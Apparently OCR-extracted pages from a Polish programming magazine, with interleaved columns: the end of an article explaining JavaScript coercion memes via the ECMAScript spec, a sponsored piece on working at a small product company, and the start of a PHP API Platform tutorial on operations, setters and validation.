je, przyjmuje jeden argument. Operator można zdefiniować w ten i. Zwróć wynik metody toString(), jeśli metoda toString()
sposób: +UnaryExpression. Często stosuje się go, gdy chcemy szybko jest zdefiniowana (jeśli wynik jest typu Object wyrzuć
przekonwertować wartość typu String na Number. Na przykład +'2' wyjątek TypeError)
zwróci nam po prostu wartość 2. ii. Zwróć wynik metody valueOf(), jeśli metoda valueOf()
Algorytm, który stoi za tym przekształceniem, zaprezentowano na jest zdefiniowana (jeśli wynik jest typu Object wyrzuć
Rysunku 2 (pełna wersja dostępna pod adresem: tc39.es/ecma262/multi­ wyjątek TypeError)
page/ecmascript-language-expressions.html#sec-unary-plus-operator). iii. Wyrzuć wyjątek TypeError

<18> { 5 / 2021 < 99 > }


/ Wyjaśniamy memy z JavaScript /

b. W przeciwnym wypadku: 1. Jeśli opText to "+"


i. Zwróć wynik metody valueOf(), jeśli metoda valueOf() a. Jeśli lval jest typu Object, przekształć lval na typ prymitywny
jest zdefiniowana (jeśli wynik jest typu Object wyrzuć b. Jeśli rval jest typu Object, przekształć rval na typ prymitywny
wyjątek TypeError) c. Jeśli typ lval lub rval, to String
ii. Zwróć wynik metody toString(), jeśli metoda toString() i. Wykonaj operację toString() na lval
jest zdefiniowana (jeśli wynik jest typu Object wyrzuć ii. Wykonaj operację toString() na rval
wyjątek TypeError) iii. Połącz oba ciągi i zwróć wynik
iii. Wyrzuć wyjątek TypeError 2. Jeśli opText jest różny od "+" lub typy obu wartości są inne niż
String
a. Jeśli lval lub rval jest typu Object, przekształć go na typ
Przypomnę, że w naszym przykładzie wykorzystujemy operator Una- prymitywny
ry Plus w następujący sposób: (+'a'). b. Wykonaj operację toNumber() na lval
A więc typ naszego argumentu to String. Zwrócony będzie za- c. Wykonaj operację toNumber() na rval
tem wynik działania metody StringToNumber(). Jak wygląda algo- d. Wykonaj działanie zdefiniowane przez opText (czyli np. do-
rytm działania tej metody? Pełen opis można znaleźć tutaj: tc39.es/ dawanie) i zwróć wynik
ecma262/multipage/abstract-operations.html#sec-stringtonumber.
W skrócie: metoda próbuje podzielić ciąg na literały. Następnie Możemy zatem zauważyć, że jeśli przynajmniej jeden z argumentów
w zależności od literałów, które zostały wykryte w ciągu, zwróci róż- jest typu String, to zostanie wykonana konkatenacja ciągów.
ny wynik – Tabela 2 (elementy pisane kursywą są opcjonalne). Do pełni szczęścia brakuje nam informacji o tym, jak działa meto-
da toString(). Sposób jej działania został przedstawiony w Tabeli 3.
Typ literałów Przykłady Wynik działania Należy również zaznaczyć, że metoda toString() przedstawiona w
<StrWhiteSpace> " " 0 (dodatnie) tym artykule to nie jest publiczna metoda toString() znana progra-
<StrWhiteSpace><StrNumericLiteral> " 3 " 3 mistom JS.
<StrWhiteSpace> "4 " 4
<NonDecimalIntegerLiteral> "0xff" 255 Typ danych Wynik
-<StrUnsignedDecimalLiteral> "-2.3" -2.3
Undefined "undefined"
"-1e2" 100
Null "null"
<Infinity> "Infin- +Infnity
ity"
Boolean true zwraca "true"
<DecimalDigits>.<DecimalDigits> "10." 10 false zwraca "false"
< ExponentPart> "2.5" 2.5
Number Zwróć wynik działania Number::ToString()
"3.6e2" 360
.<DecimalDigits>< ExponentPart> ".5" 0.5
String Zwróć argument
".6e4" 6000
<DecimalDigits>< ExponentPart> "4" 4 Object Zamień obiekt na typ prymitywny prim i zwróć wynik
metody toString(prim)
"8e2" 800

Tabela 2. Wynik działania metody StringToNumber() w zależności od znalezionych literałów Tabela 3. Wynik działania metody toString() w zależności od typu parametru wejściowego

Co się stanie, gdy żaden literał nie zostanie znaleziony? W tym wy-
padku zostanie zwrócona wartość NaN (Not a Number). W Tabeli 3 znajdziemy odwołanie do metody Number::ToString().
I to właśnie dzieje się w naszym przypadku! Użycie jednoargu- Sposób jej działania można skrócić w następujący sposób:.
mentowego operatora (+'a') zwróci wartość NaN. 1. Jeśli wartość argumentu to NaN – zwróć "NaN".
Kod z naszego przykładu wygląda więc teraz tak: 2. Jeśli wartość argumentu to 0 (dodatnie lub ujemne) – zwróć "0".
3. Jeśli wartość to nieskończoność – zwróć "Infinity".
(( ('b'+'a') + NaN) + 'a').toLowerCase()
4. Dla liczb ujemnych zwróć wynik tej metody dla liczby przeciw-
nej i dodaj znak „-” na początku.
W tym momencie do akcji wkracza operator dodawania. W JavaScript 5. Dla pozostałych liczb zwróć ich reprezentację jako ciąg.
pozwala on dodać dwie liczby lub połączyć dwa ciągi ze sobą. Co jed-
nak decyduje o tym, kiedy dodawać, a kiedy łączyć? Jak obsługiwane Powtórzmy, że ten opis jest bardzo skrócony i nie zawiera na przy-
są wartości Null, undefined, NaN? Zgłębienie tematu dodawania w kład dokładnego algorytmu zamiany liczby na typ String. Więcej pod
JavaScript jest kluczem do zrozumienia większości memów. Przyj- adresem: tc39.es/ecma262/multipage/ecmascript-data-types-and-values.
rzyjmy się zatem, jak wygląda algorytm tej operacji. W dokumen- html#sec-numeric-types-number-tostring.
tacji można ją znaleźć pod nazwą: ApplyStringOrNumericBinary­ Wracając do metody ApplyStringOrNumericBinaryOperator().
Operator(lval, opText, rval), gdzie za opText przekazana jest Jeśli choć jeden z argumentów jest typu String, to dokonujemy kon-
wartość "+". katenacji obu argumentów (wraz z zamianą ich na typ String), w prze-
Algorytm jest zdefiniowany w następujący sposób: ciwnym wypadku wykonujemy dodawanie.

{ WWW.PROGRAMISTAMAG.PL } <19>
JĘZYKI PROGRAMOWANIA

Przypomnijmy, że nasze działanie wygląda teraz w ten sposób: W powyższym przypadku należy wyjaśnić dwie sprawy: jak działają
operatory == i === oraz jak porównywane są wartości o różnych typach.
(( ('b'+'a') + NaN) + 'a').toLowerCase()
Potocznie przyjęło się mówić, że operator == nie sprawdza typów.
Rozważmy teraz sposób, w jaki zostanie użyty operator +: Dokumentacja mówi jednak co innego!
1. 'b'+'a' to konkatenacja ciągów, która zwróci ciąg 'ba'. Jak możemy zobaczyć na Rysunku 3 lub pod adresem:
2. 'ba' + NaN to konkatenacja wartości typu String i Number, któ- » tc39.es/ecma262/multipage/abstract-operations.
ra zwróci 'baNaN'. Ponieważ wartość NaN zostanie zamieniona html#sec-islooselyequal,
na "NaN" zgodnie z Number::ToString().
3. 'baNaN' +'a' to konkatenacja ciągów, która zwróci ciąg 'baNaNa'. w pierwszym kroku algorytmu operatora == sprawdzane są typy!
Jeśli są takie same, to wówczas wykonywany jest ten sam algorytm
W związku z tym po użyciu operatora + mamy do czynienia z operacją co w przypadku operatora ===.
'baNaNa'.toLowerCase(), która oczywiście zwróci 'banana'. W naszym przypadku typy oczywiście nie są takie same. Jak zatem
Okazuje się, że zgłębienie tego, jak działa operator +, jest jednym zostanie wykonane porównanie? Silnik JavaScript będzie próbował
z elementów, który pomaga nam zrozumieć pozostałe memy. zamienić argumenty na typ Number i dopiero wtedy wykonywać po-
Weźmy na tapet kolejnego mema: równanie. Typ Boolean zostanie zamieniony na Number zgodnie z Ta-
belą 1. Typ String zostanie zamieniony na Number zgodnie z Tabelą 2.
> 9 + '1'
< '91' Zatem wynik działania true == '1' to tak naprawdę wynik działa-
> 91 - '1' nia 1 == 1, czyli true.
< 90
Dlaczego zatem w drugim przykładzie dostajemy wartość false?.
Wiemy już, że gdy używamy operatora + i przynajmniej jeden z argu- Algorytm operatora === (tc39.es/ecma262/multipage/abstract-opera-
mentów jest typu String, nastąpi konkatenacja i w efekcie otrzymuje- tions.html#sec-isstrictlyequal) w pierwszym kroku również sprawdza
my wartość 91. typy (Rysunek 4). Jeśli są różne, zwraca false i to właśnie ma miejsce
Dlaczego zatem w drugim przypadku odejmowanie zachodzi bez w naszym przypadku.
problemu? Na zakończenie chciałbym zauważyć, że rozumiejąc, jak działa
Stoi za tym opisany wcześniej algorytm ApplyStringOrNumer- kod w tych trzech przykładach, jesteśmy w stanie zrozumieć ogrom-
icBinaryOperator(). W tym przypadku za opText przekazana zo- ną część pozostałych memów uderzających w język JS. Najlepszą po-
stanie wartość „-”, co w konsekwencji spowoduje wywołanie metody mocą w zrozumieniu, dlaczego JS działa tak jak działa, jest dokumen-
toNumber() na obu argumentach i w związku z tym '1' zostanie za- tacja dostępna pod adresem tc39.es/ecma262/multipage/#sec-intro.
mienione na 1, a następnie zostanie wykonane odejmowanie. Gdyby jednak coś dalej było niezrozumiałe, zapraszam do kontaktu.
Ostatni przykład, który przeanalizujemy, to: Najłatwiej znaleźć mnie na Twitterze lub Instagramie: @mjawulski.
> true == '1'
< true
> true === '1'
< false

Rysunek 3. Definicja operatora == (źródło: tc39.es/ecma262/#sec-islooselyequal)

Rysunek 4. Definicja operatora === (źródło: tc39.es/ecma262/multipage/abstract-operations.html#sec-isstrictlyequal)

MICHAŁ JAWULSKI
mjawulski@gmail.com
Senior Software Developer w Capgemini Software Solutions Center we Wrocławiu. Od ponad ośmiu lat projektuje systemy dla
firm finansowych z całego świata – to prawdziwy pasjonat nowych technologii i inżynierii oprogramowania. W wolnym czasie
rozwija dwa projekty – podcast https://piatkinaprodukcji.pl/ i warsztaty dla programistów: https://softskilledlaprogramistow.pl/.
Poza tym – wierny kibic Premier League.

<20> { 5 / 2021 < 99 > }


Mała firma produktowa okiem developera
Czy w startupie jest tak cudownie, jak się powszechnie sądzi? „To zależy”.
Nasze ulubione branżowe powiedzonko możemy łatwo przenieść na ocenę
środowiska pracy.

Kamil Tarczewski, Programista Java. Od prawie 3 lat związany z firmą Woodpecker.co, gdzie bierze aktywny udział w rozwoju
produktu. Poza świetnymi umiejętnościami technicznymi, do firmy wnosi dociekliwość i błyskotliwe poczucie humoru, choć
o sobie mówi skromnie: ciekawy świata zwykły programista, zwykłych rzeczy. W wolnym czasie chętnie gra w gry planszowe
i komputerowe, zimą jeździ na snowboardzie.

Przymierzając się do zatrudnienia w niewielkiej firmie z produktem, oglądania dokumentacji pod lupą i kłócenia się, czy chodzi o nowy
musimy sobie zdać sprawę z kilku czynników odróżniających taką ficzer, za który zapłaci klient, czy o błąd z produkcji, za który zapłaci
posadę od trybów korporacji. Postaram się neutralnie spojrzeć na wykonawca.
temat i przedstawić argumenty za i przeciw pracy w niedużej firmie Dla niektórych pełna odpowiedzialność i brak dedykowanych
produktowej. teamów może być poważnym minusem. Jest ogólny podział na fron-
tend, backend, testerów i adminów, ale jeśli coś poszło nie tak, to nikt

PRODUKT TO MY inny za was się tym nie zajmie. Odkładacie wtedy na bok bieżące ta-
ski, podwijacie rękawy, skrzykujecie kolegów i ustawiacie na Slacku
Chyba najważniejszą cechą pracy w takiej firmie jest fakt, że to my bota, który na każdą wiadomość odpowiada: „Tak, wiemy, zajmujemy
jesteśmy odpowiedzialni za wszystko, co się z naszym produktem się tym”. Potem znikacie w czeluściach backendu, szukając przyczyny
dzieje. Czy to na stanowisku juniora, czy mida lub seniora, to MY błędnego zachowania systemu.
mamy realny wpływ na produkt, na jego wzloty i upadki. My jeste­
śmy produktem. Kod tworzymy niejako „dla siebie”. Zaletą jest to, że
MAŁA FIRMA TO DOBRZE ZNANY
stawiamy na jakość i od ręki odczuwamy skutki wszystkich naszych
ZESPÓŁ
poczynań.
Jeśli zaczniecie pracować bezpośrednio przy produkcji, wasz kod Gdybyście pracowali w Woodpeckerze lub innej niedużej firmie pro-
najczęściej trafi do mastera w ciągu tygodnia. Tak, zdarza się ko- duktowej, to cały czas bylibyście w jednym projekcie, który można
lejka testów, spóźnione review lub czekanie na merge’a, ale już nie- i trzeba opanować na wylot. Bylibyście za pan brat z mnóstwem za-
długo klient będzie mógł zgłosić pierwszego buga. A wy odczujecie pomnianych przez Boga i testerów kątów, hacków i całą logiką biz-
ten dreszczyk, kiedy to śledzicie (po wydaniu, które sami wyklika- nesową. Znalibyście umiejętności i mocne strony każdego członka
liście), czy monitoring (który sami zbudowaliście) nie zaczął pluć teamu, jako że taki zespół jest stabilny – bez zmian i rotacji po róż-
na czerwono błędami. Jeśli pluje, to trzeba naprawić – w końcu to nych działach (niektórzy mogą uznać to za duży minus, bo oni akurat
tylko nasza wina. Podejście „Przewróciło się? Niech leży” nie jest preferują zmiany). Nie byłoby body leasingu i nie zawsze zdrowej ry-
tu mile widziane. Nie ma też przerzucania się odpowiedzialnością, walizacji między teamami.

{ MATERIAŁ INFORMACYJNY }
Struktura zazwyczaj jest płaska. Nikt nikogo nie przenosi mię- i zażaleń? Nie stwierdzono. Stwierdzono za to bardzo kumatego PO,
dzy projektami co parę miesięcy. Ale też każdy ma swoje poletko, który rozumie, że dodanie jednego przycisku naprawdę może zająć
które zna lepiej niż własną kieszeń. Poznajecie domenę i wchodzicie więcej niż dwie godziny.
w posiadanie wiedzy szczególnej i bardzo szczegółowej – bardzo in- Słabą stroną takiego modelu „klient-serwer” jest brak wycieczek,
teresujące dla osób, które są ciekawe świata i chciałyby na przykład formalnie zwanych delegacjami, i spotkań integracyjnych ze zlece-
dowiedzieć się, według jakich reguł maile wpadają do spamu i jak niodawcą, nieformalnie zwanych imprą na koszt klienta. Dla nie-
tego uniknąć, prowadząc masową wysyłkę. Albo jakie błędy zwraca- których może to być ważki argument. W małej firmie ciągle pijecie
ją poszczególni providerzy mailowi, który z nich jest najlepszy, jakie w tym samym gronie.
ograniczenia mają darmowe skrzynki pocztowe. A ustawienia samych
serwerów SMTP czy reputacja domeny, na którą wpływa proces tzw.
PRZEPIS NA PRACĘ BEZ STRESU
warm-upu? Takie przykłady mógłbym mnożyć. W mojej firmie je-
stem nazywany demonologiem, mój kolega specjalizuje się w statysty- Przyjrzyjmy się deadline’om. Niejednemu developerowi śnią się
kach, kolejny może zawsze liczyć na najtrudniejsze zadania związane one po nocach w najgorszych koszmarach – jeśli w ogóle spał, bo
z PipeDrive’em i tak dalej. Jest pewna specjalizacja, ale przecież code trzeba było crunchować. Przy zewnętrznym kliencie przekroczenie
review robi inny programista i wiele się przy tym uczy. A jak demono- zadeklarowanej daty oznacza kary finansowe dla firmy i pranie bru-
log idzie na urlop, to ktoś go zastępuje i też daje sobie radę. dów na retro. A w firmie produktowej to firma sama sobie stawia
Gorzej, gdy domena zacznie nam się nudzić. Nie ma ucieczki do terminy i niejednokrotnie, gdy zachodzi nieszczęsne „okazało się”,
innego projektu, co jest możliwe w korporacji lub software house’ie. można przesunąć termin wydania bez wpływu na wypłatę. Poza
Owszem, możecie być orędownikami najnowszej technologii w nowo tym zdarza się to rzadko, bo projekt jest na bieżąco monitorowany
powstałym mikroserwisie, pisać więcej skryptów dla siebie i teamu przez firmowych interesariuszy. W sytuacjach wyjątkowych jest to
lub zająć się sprawami bardziej miękkimi, ciągle jednak będzie to bardzo wygodne, a developer wyspany i niezestresowany to develo-
kręciło się wokół tej samej domeny i tych samych tematów – aż do per zadowolony (i wydajny, aczkolwiek nie dla każdego jest to ważny
ostentacyjnego pokazywania odruchów wymiotnych na daily. Wtedy argument).
jak na zbawienie czekacie na nową funkcjonalność. Może jakaś cie- Zadowolony developer to też taki, który może coś zrefaktorować,
kawa i wymagająca integracja? A może elementy AI w rozpoznawa- nie martwiąc się, że urwie logikę biznesową. Pisanie testów, dbanie
niu treści? Cokolwiek, co byłoby w stanie od nowa pozytywnie was o jakość kodu czy po prostu uczenie się dobrych praktyk poprzez
nakręcić. code review bardziej doświadczonych kolegów to ogromne zalety
programowania „u siebie”. Czas nie liczy się aż tak bardzo – liczy się

ZAWSZE MASZ IDEALNEGO KLIENTA jakość, bowiem raz napisany kod zostanie z teamem produktowym
na długo. Zanim więc zostanie zaciągnięty dług techniczny, każde za-
Pracując przy produkcie i biorąc pieniądze bezpośrednio od produk- gadnienie trzeba przemyśleć dwa razy. Rzeczy robione na szybko to
tu, nigdy nie uświadczycie marudzącego klienta! Zapewne kojarzycie tylko krytyczne poprawki na produkcję.
ten tekst: „Ja jednak nalegam, bo w dokumentacji nie było to dopre- Jak więc brzmi odpowiedź na pytanie, gdzie warto pracować?
cyzowane, żeby przycisk był bardziej na prawo, ale tak, by jeszcze był Każdy musi sobie odpowiedzieć sam. Ja nie narzekam na swój wybór.
po lewej stronie, w kolorze takim, żeby pasował do strony i się nie Zabawa w doktora i praca na żywym organizmie, mnóstwo wyzwań
wyróżniał, ale jednak w kolorze czerwieni i żeby zachęcał do kliknię- czy możliwości rozwoju wokół tematów domenowych to dla mnie
cia w niego. No i to logo niech będzie większe, ale oczywiście takie ogromne zalety. Owszem, są też wady, jednakże nie można zjeść
minimalistyczne i żeby nie było bardzo duże”. Przy produkcie co naj- ciastka i mieć ciastko. A brakiem „owocowego czwartku” nie ma
wyżej designer będzie stękał, że przycisk ma być przesunięty w prawo się co zrażać – w naszym przypadku owocowy jest cały tydzień, bez
o jeden piksel, ale rozmowy z klientem i wysłuchiwanie jego skarg dziwnych nazw. Z takimi owocami, jakie najbardziej lubicie.

Brzmi dobrze?

Sprawdź nasze otwarte


rekrutacje i dołącz do nas:
Senior Back-end Developer
Back-end Developer (Mid)
Tester

{ WWW.PROGRAMISTAMAG.PL }
PROGRAMOWANIE APLIKACJI WEBOWYCH

API Platform – szybkie tworzenie przystępnego


REST API w PHP
Zarządzanie operacjami, walidacjami i polami

W poprzednim numerze stworzyliśmy aplikację umożliwiającą nam zarządzanie przedmio-


tami, które posiadamy w domu. W tym artykule rozszerzymy wiedzę na temat możliwości
wykorzystania API Platform o zarządzanie operacjami, filtrowanie, a także dodamy system
walidacji reagujący w sposób komunikatywny na dane dostarczane przez użytkownika. Oczy-
wiście zachowując przy tym przejrzystość kodu.

WSTĘP
Jak dotąd stworzyliśmy prosty CRUD (Creating, Retriving, Updating 1. Jest endpointem związanym z kolekcją; umożliwia pobieranie
and Deleting), czyli zasoby umożliwiające tworzenie, pobieranie, ak- wielu encji jednocześnie.
tualizację i usuwanie danych. W praktyce tak surowa aplikacja nie 2. Jest endpointem związanym z kolekcją; umożliwia tworzenie
jest zazwyczaj wystarczająca do wykorzystania w finalnym systemie. w niej nowej encji.
Twórcy API Platform zadbali o to, aby rozbudowywanie naszego 3. Jest endpointem związanym z encją (zasobu); umożliwia pobra-
interfejsu o zaawansowane funkcjonalności było równie proste, jak nie jej zawartości.
tworzenie podstawowych zasobów. 4. Jest endpointem związanym z encją (zasobu); umożliwia jej
podmianę na inną encję (zasobu).

ZARZĄDZANIE OPERACJAMI 5. Jest endpointem związanym z encją (zasobu); umożliwia jej


usunięcie.
Operacje na zasobach API są odzwierciedleniem funkcjonalności, 6. Jest endpointem związanym z encją (zasobu); umożliwia jej
które zapewniamy użytkownikowi w naszej aplikacji. Przy systemach aktualizację.
opartych o architekturę REST rozróżniamy poszczególne operacje za
pomocą endpointów, które składają się z adresu oraz metody. Metody Ważne jest wyszczególnienie powiązania endpointów, które widzimy
HTTP, które wykorzystujemy przy API, to: w powyższym zestawieniu, ponieważ ta wiedza jest nam potrzebna
» POST – umożliwia tworzenie nowych zasobów. do modyfikacji operacji, które wykonywać może użytkownik.
» GET – umożliwia pobieranie istniejących zasobów.
» PUT – umożliwia podmianę istniejącego zasobu.
MODYFIKACJA DOSTĘPNYCH
» DELETE – umożliwia usuwanie istniejącego zasobu.
OPERACJI
» PATCH – umożliwia aktualizację istniejącego zasobu.
Dodatkowo operacje te możemy wykonywać zarówno na poszczegól- Dla przypomnienia – nasza klasa Item (plik znajdujący się w lokali-
nych zasobach, jak i całych kolekcjach zasobów. Przyjrzyjmy się po- zacji src/Entity/Item.php) zawierała podstawową adnotację składają-
szczególnym endpointom utworzonym bazowo przez API Platform: cą się z dwóch elementów:
1. ApiResource() – informacja o tym, że jest to zasób API Platform.
2. ORM\Entity() – informacja o tym, że jest to klasa reprezentują-
ca ORM, czyli mapowanie danych z bazy na obiekt (w rezultacie
otrzymujemy encję danego zasobu).

Listing 1. Podstawowe adnotacje klasy Item

/**
* @ApiResource()
* @ORM\Entity(repositoryClass=ItemRepository::class)
*/
class Item
{
(...)

Rozbudujmy adnotację ApiResource() o dwie konfiguracje – wska-


Rysunek 1. Bazowe endpointy API Platform zanie operacji dostępnych dla kolekcji oraz operacji dostępnych dla
encji.

<24> { 5 / 2021 < 99 > }


/ API Platform – szybkie tworzenie przystępnego REST API w PHP /

Listing 2. Rozbudowa adnotacji ApiResource()o operacje kolekcji i encji Ponieważ przedrostek „/api” wynika z bazowej konfiguracji
/**
API Platform, to dla wartości PATH ustawiamy jedynie wartość /
* @ApiResource( getItemsCollection.
* collectionOperations={"get","post"},
* itemOperations={"get","put","patch","delete"} Listing 4. Zmiana ścieżki zawartości GET z /api/items na /api/getItemsCollection
* )
* @ORM\Entity(repositoryClass=ItemRepository::class)
/**
*/
* @ApiResource(
class Item
* collectionOperations={
{
* "get"={"path"="/getItemsCollection"},
* "post"
* },
* itemOperations={"get","put","patch"}
Po odświeżeniu strony modyfikacja ta nie powinna dokonać żadnych * )
zmian, ponieważ wskazaliśmy metody, które w API Platform są do- * @ORM\Entity(repositoryClass=ItemRepository::class)
*/
stępne domyślnie.
Zmodyfikujmy więc operacje dostępne dla encji – usuńmy metodę
"delete", uzyskując następujący wygląd adnotacji:

Listing 3. Usuwanie metody "delete" z itemOperations w adnotacji


ApiResource()

/**
* @ApiResource(
* collectionOperations={"get","post"},
* itemOperations={"get","put","patch"}
* )
* @ORM\Entity(repositoryClass=ItemRepository::class)
*/
class Item
{ Rysunek 3. Endpointy po modyfikacji konfiguracji operacji

Po odświeżeniu strony ze Swaggerem zauważymy modyfikację – je- Jak widać – endpoint danej operacji zmodyfikowany został zgodnie
den z endpointów zniknął i tym samym zabraliśmy możliwość usu- z tym, jak to ustawiliśmy.
wania zasobów:

ZARZĄDZANIE POLAMI W OPERACJACH


Jak dotąd wpłynęliśmy na API za pomocą modyfikacji dostępności
poszczególnych endpointów. Teraz zajmiemy się modyfikacją pól,
które są dostępne w poszczególnych operacjach.
Metoda odtworzenia poszczególnych przedmiotów (endpoint
/api/items), zgodnie z tym, co zwraca nam Swagger, przyjmuje para-
metry "name", "createdAt", "warrantyTo", "categoryId".

Rysunek 2. Endpointy w API Platform po modyfikacji dostępnych operacji

Od teraz użytkownicy wykorzystujący nasze API nie mają możliwo-


ści usuwania zasobów. Może być to przydatne w sytuacji, w której
chcielibyśmy zachowywać w bazie danych wszystkie utworzone kie-
dykolwiek wpisy i operować np. tylko na ich statusach (w końcu API
umożliwia nam łatwe odfiltrowywanie zasobów).

MODYFIKACJA KONFIGURACJI
OPERACJI
Same wskazanie metod HTTP w zdefiniowanych operacjach to nie
wszystko. Możemy także rozwinąć poszczególne metody o tablicę
odpowiedzialną za specyficzną konfigurację danej operacji. Wyko-
rzystując tę wiedzę, możemy zmodyfikować ścieżkę endpointa.
Rozbudujmy więc zawartość konfiguracji get, wskazując na tablicę,
która zawierać będzie informację o tym, że zmieniamy ścieżkę na /api/ Rysunek 4. Widok parametrów w lokacji /api/items w Swaggerze

getItemsCollection (tracąc tym samym domyślną ścieżkę /api/items).

{ WWW.PROGRAMISTAMAG.PL } <25>
PROGRAMOWANIE APLIKACJI WEBOWYCH

Na potrzeby aplikacji chcielibyśmy, aby pole createdAt odpo- Zweryfikujmy więc pola dostępne na operacjach związanych z po-
wiedzialne za datę utworzenia wpisu nie było dostarczane przez użyt- bieraniem zasobów. Widzimy, że pole createdAt zgodnie z oczeki-
kownika, tylko ustawiane automatycznie za pomocą kodu. waniami dalej jest dostępne:
Zauważmy, że w klasie Item API Platform wygenerowało nam
Listing 7. Zawartość przykładowej odpowiedzi wygenerowanej
zestaw tzw. setterów (metod rozpoczynających się od set...) oraz przez Swaggera
getterów (metod rozpoczynających się od get...).
{
API Platform rozpoznaje settery oraz gettery i automatycznie "@context": "string",
rzutuje je na dostępne pola w poszczególnych metodach. "@id": "string",
"@type": "string",
Rozpocznijmy więc od usunięcia możliwości ustawiania created­ "id": 0,
At – znajdźmy setter tego pola w klasie Item. "name": "string",
"createdAt": "2021-10-16T14:25:27.287Z",
"warrantyTo": "2021-10-16T14:25:27.287Z",
Listing 5. Lokalizacja settera createdAt pola w klasie Item "categoryId": "string"
}
public function setCreatedAt(
\DateTimeImmutable $createdAt
): self Jednakże pozostała nam jeszcze jedna kwestia – jeżeli pole nie jest już
{ ustawiane przez użytkownika, to musimy dodać kod odpowiedzialny
$this->createdAt = $createdAt;
za ustawianie daty automatycznie po utworzeniu wpisu. Jeżeli tego
return $this;
} nie zrobimy, to przy próbie utworzenia wpisu otrzymamy informację
o błędzie, ponieważ nie pozwalamy, aby pole w bazie było puste. Do-
Następnie usuńmy go, zabierając użytkownikowi możliwość ustawia- dajmy więc metodę __construct() (o ile nie mieliśmy jej zdefinio-
nia tego pola na encji. wanej wcześniej) i przypiszmy do pola createdAt dostępną w PHP
Po tym zabiegu zauważmy, że pole to nie jest już dostępne w klasę DateTimeImmutable. Tworząc jej instancję, bez dodatkowych
Swaggerze w metodzie POST /api/items: parametrów uzyskamy obiekt, który zawiera obecną datę.

Listing 8. Automatyczne ustawianie daty za pomocą metody __construct()

class Item {
(...)

public function __construct()


{
$this->createdAt = new \DateTimeImmutable();
}
(...)

Po tym zabiegu wyślijmy próbne zapytanie pod adres POST /api/items


– z zadaniem utworzenia nowego wpisu.

Listing 9. Zawartość zapytania tworzącego nowy wpis zasobu Item

{
"name": "Corsair K68",
"warrantyTo": "2022-10-17T17:18:17.411Z",
"categoryId": null
}

A w odpowiedzi otrzymamy informację o nowo utworzonej encji wraz


z ustawionym już polem createdAt wskazującym na datę utworzenia
Rysunek 5. Widok parametrów po usunięciu możliwości createdAt w Swaggerze
wpisu.

Listing 10. Komunikat zwrotny o utworzeniu nowej encji


Zauważmy, że nasza modyfikacja objęła także metody PUT /api/
items/{id} oraz PATCH /api/items/{id}, czyli zabraliśmy automatycznie {
"@context": "/api/contexts/Item",
ze wszystkich operacji możliwość ustawiania tego pola. "@id": "/api/items/2",
Jednocześnie zostawiliśmy dostępny getter – getCreatedAt(), co "@type": "Item",
"id": 2,
implikuje, że to pole dalej będzie można pobierać. "name": "Corsair K68",
"createdAt": "2021-10-17T19:18:55+02:00",
Listing 6. Zawartość gettera getCreatedAt() "warrantyTo": "2022-10-17T00:00:00+02:00"
}
public function getCreatedAt(): ?\DateTimeInterface
{
return $this->createdAt; Oczywiście settery i gettery, będąc zwykłymi metodami, dają nam
} wszystkie możliwości z tym związane – podczas ustawiania i pobie-
rania danych z poszczególnych pól moglibyśmy zatem dodać do nich
dowolną modyfikację.

<26> { 5 / 2021 < 99 > }


/ API Platform – szybkie tworzenie przystępnego REST API w PHP /

Jeżeli więc chcielibyśmy np., aby API wraz z nazwą zawsze zwra- Listing 13. Modyfikacja klasy Item za pomocą operacji post
cało nam w nawiasie kwadratowym identyfikator produktu, to wy-
/**
starczy, że zmodyfikujemy dane zwracane przez metodę getName(). * @ApiResource(
* collectionOperations={
Listing 11. Modyfikacja danych w metodzie getName() na identyfikator * "get"={"path"="/getItemsCollection"},
produktu * "post"={"validation_groups"=
* {"Default","postValidation"}}
* },
public function getName(): ?string
* itemOperations={"get","put","patch"}
{
* )
$prefix = '[ID:' . $this->id . '] ';
* @ORM\Entity(repositoryClass=ItemRepository::class)
return $prefix . $this->name;
*/
}
class Item

W odpowiedzi na zapytanie o kolekcję otrzymamy zmodyfikowaną


zawartość name. Ustawiliśmy dwie grupy – "Default" to grupa, która jest uruchamia-
na, kiedy walidacja nie ma zdefiniowanej grupy uruchamiania, nato-
Listing 12. Odpowiedź ze zmodyfikowaną automatycznie zawartością
pola name miast "postValidation" to grupa ze zdefiniowaną przez nas nazwą
(może się nazywać dowolnie), którą wykorzystamy za chwilę przy
(...)
{ polu $name.
"@id": "/api/items/2", Zaimportujmy zawartość klasy Constraints, aby domyślne kla-
"@type": "Item",
"id": 2, sy do walidacji z Symfony były dostępne do naszego wykorzystania
"name": "[ID:2] Corsair K68", w adnotacjach. Na górze pliku, przy pozostałych use, dodajmy use
"createdAt": "2021-10-17T19:18:55+02:00",
"warrantyTo": "2022-10-17T00:00:00+02:00" Symfony\Component\Validator\Constraints as Assert;.
}
Następne dodajmy do pola $name dwie asercje:
(...)
» @Assert\NotNull – klasa weryfikująca, czy pole nie jest puste.
» @Assert\Length – klasa pozwalająca na weryfikację długości
Naturalnie powyższe nie jest najtrafniejszym przykładem, ponieważ danych przekazanych do pola.
tego typu łączenie wartości powinno odbywać się z poziomu GUI, do
którego dostarczamy dane, niemniej pokazuje, że modyfikacje w tym Dodatkowo do asercji Length dodajmy konfigurację, która poza min
zakresie można wykonać łatwo i wykorzystując także dane zawierają- i max (określającymi minimalną i maksymalną długość ciągu zna-
ce się na innych polach. ków) zawiera także definicję grup, przy których zapytanie podlegać
będzie walidacji.

WALIDACJA Wstawmy więc tutaj grupę "postValidation", czyli tę samą,


którą określiliśmy dla zapytań typu post na kolekcji, co implikować
Kolejną ważną funkcjonalnością w dowolnych aplikacjach przyj- będzie w naszym przypadku uruchomienie walidacji tylko podczas
mujących dane z zewnątrz jest walidacja. Umożliwia ona weryfika- tworzenia zasobu.
cję, czy żądanie wysłane do naszego interfejsu jest akceptowalne. Co
Listing 14. Asercja Length po dodaniu grupy "postValidation"
więcej, dzięki wbudowanym ustandaryzowanym mechanizmom do
komunikacji możemy zwrócić wiadomość z informacją o powodzie /**
* @ORM\Column(type="string", length=255)
odrzucenia nadchodzących danych. * @Assert\NotNull
API Platform w łatwy sposób pozwala na implementację domyśl- * @Assert\Length(
* min = 2,
nej walidacji z Symfony (ich spis jest dostępny pod adresem symfony. * max = 255,
* groups={"postValidation"}
com/doc/current/reference/constraints.html). * )
Ponieważ dostępne bazowe walidacje są zwykłymi klasami, to */
private $name;
możemy je także podejrzeć w swoim projekcie (zakładając, że mamy
już zainstalowany projekt i posiadamy uzupełnioną zawartość folde-
ru /vendor) pod ścieżką /vendor/symfony/validator/Constraints. Aby wdrożyć prostą walidację, musieliśmy więc wykonać trzy czynności:
